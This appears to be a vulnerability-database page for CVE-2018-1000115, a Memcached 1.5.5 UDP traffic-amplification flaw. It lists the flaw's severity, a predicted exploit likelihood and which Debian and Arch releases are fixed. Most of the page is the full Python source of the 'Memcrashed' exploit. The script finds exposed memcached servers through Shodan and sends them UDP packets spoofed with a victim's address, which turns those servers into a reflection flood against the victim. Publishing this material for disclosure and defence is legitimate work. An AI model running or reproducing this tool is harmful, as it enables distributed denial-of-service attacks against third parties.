CVE-2018-1000115
high
CVSS v3
—
CVSS v4 NEW
—
VIR risk
9.0
Description
Memcached version 1.5.5 contains an Insufficient Control of Network Message Volume (Network Amplification, CWE-406) vulnerability in the UDP support of the memcached server that can result in denial of service via network flood (traffic amplification of 1:50,000 has been reported by reliable sources). This attack appear to be exploitable via network connectivity to port 11211 UDP. This vulnerability appears to have been fixed in 1.5.6 due to the disabling of the UDP protocol by default.
Predictions
Exploit likelihood
55%
Patch ETA
—
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Memcached 1.5.5 - 'Memcrashed ' Insufficient Control of Network Message Volume Denial of Service With Shodan API
#-- coding: utf8 --
#!/usr/bin/python
# Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44265.zip
import sys, os, time, shodan
from pathlib import Path
from scapy.all import *
from contextlib import contextmanager
starttime=time.time()
@contextmanager
def suppress_stdout():
with open(os.devnull, "w") as devnull:
old_stdout = sys.stdout
sys.stdout = devnull
try:
yield
finally:
sys.stdout = old_stdout
class color:
HEADER = '\033[0m'
keys = Path("./api.txt")
logo = color.HEADER + '''
███╗ ███╗███████╗███╗ ███╗ ██████╗██████╗ █████╗ ███████╗██╗ ██╗███████╗██████╗
████╗ ████║██╔════╝████╗ ████║██╔════╝██╔══██╗██╔══██╗██╔════╝██║ ██║██╔════╝██╔══██╗
██╔████╔██║█████╗ ██╔████╔██║██║ ██████╔╝███████║███████╗███████║█████╗ ██║ ██║
██║╚██╔╝██║██╔══╝ ██║╚██╔╝██║██║ ██╔══██╗██╔══██║╚════██║██╔══██║██╔══╝ ██║ ██║
██║ ╚═╝ ██║███████╗██║ ╚═╝ ██║╚██████╗██║ ██║██║ ██║███████║██║ ██║███████╗██████╔╝
╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚═════╝
Author: @037
Version: 3.1
####################################### DISCLAIMER ########################################
| Memcrashed is a tool that allows you to use Shodan.io to obtain hundreds of vulnerable |
| memcached servers. It then allows you to use the same servers to launch widespread |
| distributed denial of service attacks by forging UDP packets sourced to your victim. |
| Default payload includes the memcached "stats" command, 10 bytes to send, but the reply |
| is between 1,500 bytes up to hundreds of kilobytes. Please use this tool responsibly. |
| I am NOT responsible for any damages caused or any crimes committed by using this tool. |
###########################################################################################
'''
print(logo)
if keys.is_file():
with open('api.txt', 'r') as file:
SHODAN_API_KEY=file.readlines()
else:
file = open('api.txt', 'w')
SHODAN_API_KEY = input('[*] Please enter a valid Shodan.io API Key: ')
file.write(SHODAN_API_KEY)
print('[~] File written: ./api.txt')
file.close()
while True:
api = shodan.Shodan(SHODAN_API_KEY)
print('')
try:
myresults = Path("./bots.txt")
query = input("[*] Use Shodan API to search for affected Memcached servers? <Y/n>: ").lower()
if query.startswith('y'):
print('')
print('[~] Checking Shodan.io API Key: %s' % SHODAN_API_KEY)
results = api.search('product:"Memcached" port:11211')
print('[✓] API Key Authentication: SUCCESS')
print('[~] Number of bots: %s' % results['total'])
print('')
saveresult = input("[*] Save results for later usage? <Y/n>: ").lower()
if saveresult.startswith('y'):
file2 = open('bots.txt', 'a')
for result in results['matches']:
file2.write(result['ip_str'] + "\n")
print('[~] File written: ./bots.txt')
print('')
file2.close()
saveme = input('[*] Would you like to use locally stored Shodan data? <Y/n>: ').lower()
if myresults.is_file():
if saveme.startswith('y'):
ip_arrayn = []
with open('bots.txt') as my_file:
for line in my_file:
ip_arrayn.append(line)
ip_array = [s.rstrip() for s in ip_arrayn]
else:
print('')
print('[✘] Error: No bots stored locally, bots.txt file not found!')
print('')
if saveme.startswith('y') or query.startswith('y'):
print('')
target = input("[▸] Enter target IP address: ")
power = int(input("[▸] Enter preferred power (Default 1): ") or "1")
data = input("[▸] Enter payload contained inside packet: ") or "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n"
print('')
if query.startswith('y'):
iplist = input('[*] Would you like to display all the bots from Shodan? <Y/n>: ').lower()
if iplist.startswith('y'):
print('')
counter= int(0)
for result in results['matches']:
host = api.host('%s' % result['ip_str'])
counter=counter+1
print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (counter, result['ip_str'], host.get('os', 'n/a'), host.get('org', 'n/a')))
time.sleep(2.0 - ((time.time() - starttime) % 2.0))
if saveme.startswith('y'):
iplistlocal = input('[*] Would you like to display all the bots stored locally? <Y/n>: ').lower()
if iplistlocal.startswith('y'):
print('')
counter= int(0)
for x in ip_array:
host = api.host('%s' % x)
counter=counter+1
print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (counter, x, host.get('os', 'n/a'), host.get('org', 'n/a')))
time.sleep(2.0 - ((time.time() - starttime) % 2.0))
print('')
engage = input('[*] Ready to engage target %s? <Y/n>: ' % target).lower()
if engage.startswith('y'):
if saveme.startswith('y'):
for i in ip_array:
if power>1:
print('[+] Sending %d forged UDP packets to: %s' % (power, i))
with suppress_stdout():
send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)
elif power==1:
print('[+] Sending 1 forged UDP packet to: %s' % i)
with suppress_stdout():
send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)
else:
for result in results['matches']:
if power>1:
print('[+] Sending %d forged UDP packets to: %s' % (power, result['ip_str']))
with suppress_stdout():
send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power)
elif power==1:
print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str'])
with suppress_stdout():
send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power)
print('')
print('[•] Task complete! Exiting Platform. Have a wonderful day.')
break
else:
print('')
print('[✘] Error: %s not engaged!' % target)
print('[~] Restarting Platform! Please wait.')
print('')
else:
print('')
print('[✘] Error: No bots stored locally or remotely on Shodan!')
print('[~] Restarting Platform! Please wait.')
print('')
except shodan.APIError as e:
print('[✘] Error: %s' % e)
option = input('[*] Would you like to change API Key? <Y/n>: ').lower()
if option.startswith('y'):
file = open('api.txt', 'w')
SHODAN_API_KEY = input('[*] Please enter valid Shodan.io API Key: ')
file.write(SHODAN_API_KEY)
print('[~] File written: ./api.txt')
file.close()
print('[~] Restarting Platform! Please wait.')
print('')
else:
print('')
print('[•] Exiting Platform. Have a wonderful day.')
breakMemcached 1.5.5 - 'Memcrashed' Insufficient Control Network Message Volume Denial of Service (1)
Source code queued for fetch — refresh in a moment.
Metasploit modules
Source fetch failed: fetch_error — view the original via the link above.
OS impact
Arch Fixed 1 release
| Version | Status | Fixed in |
|---|---|---|
| — | Fixed | 1.5.6-1 |
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 1.5.6-1 |
| sid | Fixed | 1.5.6-1 |
| forky | Fixed | 1.5.6-1 |
| bullseye | Fixed | 1.5.6-1 |
| bookworm | Fixed | 1.5.6-1 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.